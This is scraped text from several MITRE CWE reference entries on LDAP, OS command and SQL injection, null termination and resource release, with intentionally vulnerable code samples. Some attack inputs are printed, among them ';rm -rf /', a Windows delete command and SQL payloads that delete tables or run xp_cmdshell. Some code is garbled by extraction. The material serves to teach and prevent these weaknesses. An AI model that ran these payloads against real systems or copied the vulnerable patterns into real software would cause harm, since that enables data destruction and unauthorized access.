Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Java (Undetermined Prevalence)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration.
CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Database Server (Undetermined Prevalence) Example 1 The code below constructs an LDAP query using user input address data: (bad code)
Example Language: Java
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address; NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls); Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
Factors: resultant to special character mismanagement, MAID, or denylist/allowlist problems. Can be primary to authentication and verification errors.
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage. There are at least two subtypes of OS command injection:
From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection. (bad code)
Example Language: PHP
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName; system($command); The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as: (attack code)
;rm -rf /
Which would result in $command being: (result)
ls -l /home/;rm -rf /
Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system. Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks. Example 2 The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system. (bad code)
Example Language: C
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat "; }strcat(cmd, argv[1]); system(cmd); Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition. Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120). Example 3 This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection. (bad code)
Example Language: Perl
use CGI qw(:standard);
$name = param('name'); $nslookup = "/path/to/nslookup"; print header; if (open($fh, "$nslookup $name|")) { while (<$fh>) { }print escapeHTML($_); }print "<br>\n"; close($fh); Suppose an attacker provides a domain name like this: (attack code)
cwe.mitre.org%20%3B%20/bin/ls%20-l
The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this: (result)
/path/to/nslookup cwe.mitre.org ; /bin/ls -l
As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server. Example 4 The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection. (bad code)
Example Language: Java
String script = System.getProperty("SCRIPTNAME");
if (script != null) System.exec(script);
If an attacker has control over this property, then they could modify the property to point to a dangerous program. Example 5 In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates. (bad code)
Example Language: Java
public String coordinateTransformLatLonToUTM(String coordinates)
{ String utmCoords = null;
try { String latlonCoords = coordinates;
Runtime rt = Runtime.getRuntime(); Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords); // process results of coordinate transform // ... catch(Exception e) {...} return utmCoords; However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program. Example 6 The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user. (bad code)
Example Language: Java
...
String btype = request.getParameter("backuptype"); String cmd = new String("cmd.exe /K \" c:\\util\\rmanDB.bat "
+btype+ "&&c:\\utl\\cleanup.bat\"") System.Runtime.getRuntime().exec(cmd); ... The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well. Example 7 The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable: (bad code)
Example Language: C
#include <stdio.h>
#include <unistd.h> int main(int argc, char **argv) { char cat[] = "cat "; char *command; size_t commandLength; commandLength = strlen(cat) + strlen(argv[1]) + 1; command = (char *) malloc(commandLength); strncpy(command, cat, commandLength); strncat(command, argv[1], (commandLength - strlen(cat)) ); system(command); return (0); Used normally, the output is simply the contents of the file requested, such as Story.txt: (informative)
./catWrapper Story.txt
(result)
When last we left our heroes...
However, if the provided argument includes a semicolon and another command, such as: (attack code)
Story.txt; ls
Then the "ls" command is executed by catWrapper with no complaint: (result)
./catWrapper Story.txt; ls
Two commands would then be executed: catWrapper, then ls. The result might look like: (result)
When last we left our heroes...
Story.txt SensitiveFile.txt PrivateData.db a.out* If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Terminology
The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.
Research Gap
More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Database Server (Undetermined Prevalence) Example 1 In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code. Example 2 The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user. (bad code)
Example Language: C#
...
string userName = ctx.getAuthenticatedUserName(); string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'"; sda = new SqlDataAdapter(query, conn); DataTable dt = new DataTable(); sda.Fill(dt); ... The query that this code intends to execute follows: (informative)
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;
However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string: (attack code)
name' OR 'a'='a
for itemName, then the query becomes the following: (attack code)
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
The addition of the: (attack code)
OR 'a'='a
condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query: (attack code)
SELECT * FROM items;
This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner. Example 3 This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example. If an attacker with the user name wiley enters the string: (attack code)
name'; DELETE FROM items; --
for itemName, then the query becomes the following two queries: (attack code)
Example Language: SQL
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items; --' Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database. Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example. If an attacker enters the string (attack code)
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a
Then the following three valid statements will be created: (attack code)
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items; SELECT * FROM items WHERE 'a'='a'; One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allowlist of safe values or identify and escape a denylist of potentially malicious values. Allowlists can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, denylisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:
Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks. Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example. (bad code)
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is open itm_cv for ' SELECT * FROM items WHERE ' || 'owner = '|| usr || ' AND itemname = ' || itm || '; end get_item; Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks. Example 4 MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form: (bad code)
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE
Where $user_input is taken from an untrusted source. If the user provides the string: (attack code)
'; exec master..xp_cmdshell 'dir' --
The query will take the following form: (attack code)
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE
Now, this query can be broken down into:
As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment. Example 5 This code intends to print a message summary given the message ID. (bad code)
Example Language: PHP
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'"); The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser. While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to: (attack code)
1432' or '1' = '1
This would produce the resulting query: (result)
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'
Not only will this retrieve message number 1432, it will retrieve all other messages. In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection: (good code)
Example Language: PHP
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'"); However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message. Example 6 This example attempts to take a last name provided by a user and enter it into a database. (bad code)
Example Language: Perl
$userKey = getUserID();
$name = getUserInput(); # ensure only letters, hyphens and apostrophe are allowed $name = allowList($name, "^a-zA-z'-$"); $query = "INSERT INTO last_names VALUES('$userKey', '$name')"; While the programmer applies an allowlist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens, which are used as comment structures in SQL. If a user specifies "--" then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the allowlist permits the apostrophe, which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
SQL injection can be resultant from special character mismanagement, MAID, or denylist/allowlist problems. It can be primary to authentication errors.
CWE-170: Improper Null Termination
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.
Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Example 1 The following code reads from cfgfile and copies the input into inputbuf using strcpy(). The code mistakenly assumes that inputbuf will always contain a NULL terminator. (bad code)
Example Language: C
#define MAXLEN 1024
... char *pathbuf[MAXLEN]; ... read(cfgfile,inputbuf,MAXLEN); //does not null terminate strcpy(pathbuf,inputbuf); //requires null terminated input ... The code above will behave correctly if the data read from cfgfile is null terminated on disk as expected. But if an attacker is able to modify this input so that it does not contain the expected NULL character, the call to strcpy() will continue copying from memory until it encounters an arbitrary NULL character. This will likely overflow the destination buffer and, if the attacker can control the contents of memory immediately following inputbuf, can leave the application susceptible to a buffer overflow attack. Example 2 In the following code, readlink() expands the name of a symbolic link stored in pathname and puts the absolute path into buf. The length of the resulting value is then calculated using strlen(). (bad code)
Example Language: C
char buf[MAXPATH];
... readlink(pathname, buf, MAXPATH); int length = strlen(buf); ... The code above will not always behave correctly as readlink() does not append a NULL byte to buf. Readlink() will stop copying characters once the maximum size of buf has been reached to avoid overflowing the buffer, this will leave the value buf not NULL terminated. In this situation, strlen() will continue traversing memory until it encounters an arbitrary NULL character further on down the stack, resulting in a length value that is much larger than the size of string. Readlink() does return the number of bytes copied, but when this return value is the same as stated buf size (in this case MAXPATH), it is impossible to know whether the pathname is precisely that many bytes long, or whether readlink() has truncated the name to avoid overrunning the buffer. In testing, vulnerabilities like this one might not be caught because the unused contents of buf and the memory immediately following it may be NULL, thereby causing strlen() to appear as if it is behaving correctly. Example 3 While the following example is not exploitable, it provides a good example of how nulls can be omitted or misplaced, even when "safe" functions are used: (bad code)
Example Language: C
#include <stdio.h>
#include <string.h> int main() { char longString[] = "String signifying nothing"; char shortString[16]; strncpy(shortString, longString, 16); printf("The last character in shortString is: %c (%1$x)\n", shortString[15]); return (0); The above code gives the following output: "The last character in shortString is: n (6e)". So, the shortString array does not end in a NULL character, even though the "safe" string function strncpy() was used. The reason is that strncpy() does not impliciitly add a NULL character at the end of the string when the source is equal in length or longer than the provided size.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
Factors: this is usually resultant from other weaknesses such as off-by-one errors, but it can be primary to boundary condition violations such as buffer overflows. In buffer overflows, it can act as an expander for assumed-immutable data.
Relationship
Overlaps missing input terminator.
Applicable Platform Conceptually, this does not just apply to the C language; any language or representation that involves a terminator could have this type of problem. Maintenance
As currently described, this entry is more like a category than a weakness.
CWE-424: Improper Protection of Alternate Path
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-404: Improper Resource Shutdown or Release
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not release or incorrectly releases a resource before it is made available for re-use.
When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 The following method never closes the new file handle. Given enough time, the Finalize() method for BufferReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called. (bad code)
Example Language: Java
private void processFile(string fName)
{ BufferReader fil = new BufferReader(new FileReader(fName)); }String line; while ((line = fil.ReadLine()) != null) { processLine(line); }The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure. (good code)
Example Language: Java
private void processFile(string fName)
{ BufferReader fil = new BufferReader(new FileReader(fName)); }String line; while ((line = fil.ReadLine()) != null) { processLine(line); }fil.Close(); Example 2 This code attempts to open a connection to a database and catches any exceptions that may occur. (bad code)
Example Language: Java
try {
Connection con = DriverManager.getConnection(some_connection_string); }catch ( Exception e ) { log( e ); }If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application. Example 3 Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries. (bad code)
Example Language: C#
...
SqlConnection conn = new SqlConnection(connString); SqlCommand cmd = new SqlCommand(queryString); cmd.Connection = conn; conn.Open(); SqlDataReader rdr = cmd.ExecuteReader(); HarvestResults(rdr); conn.Connection.Close(); ... Example 4 The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles. (bad code)
Example Language: C
int decodeFile(char* fName) {
char buf[BUF_SZ];
FILE* f = fopen(fName, "r"); if (!f) { printf("cannot open %s\n", fName); }return DECODE_FAIL; else { while (fgets(buf, BUF_SZ, f)) {
if (!checkChecksum(buf)) { }return DECODE_FAIL; }else { decodeBlock(buf); }fclose(f); return DECODE_SUCCESS; Example 5 In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource. (bad code)
Example Language: C++
class A {
void foo(); };void A::foo(){ int *ptr; }ptr = (int*)malloc(sizeof(int)); delete ptr; Example 6 In this example, the program calls the delete[] function on non-heap memory. (bad code)
Example Language: C++
class A{
void foo(bool); };void A::foo(bool heap) { int localArray[2] = { }11,22 };int *p = localArray; if (heap){ p = new int[2]; }delete[] p;
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
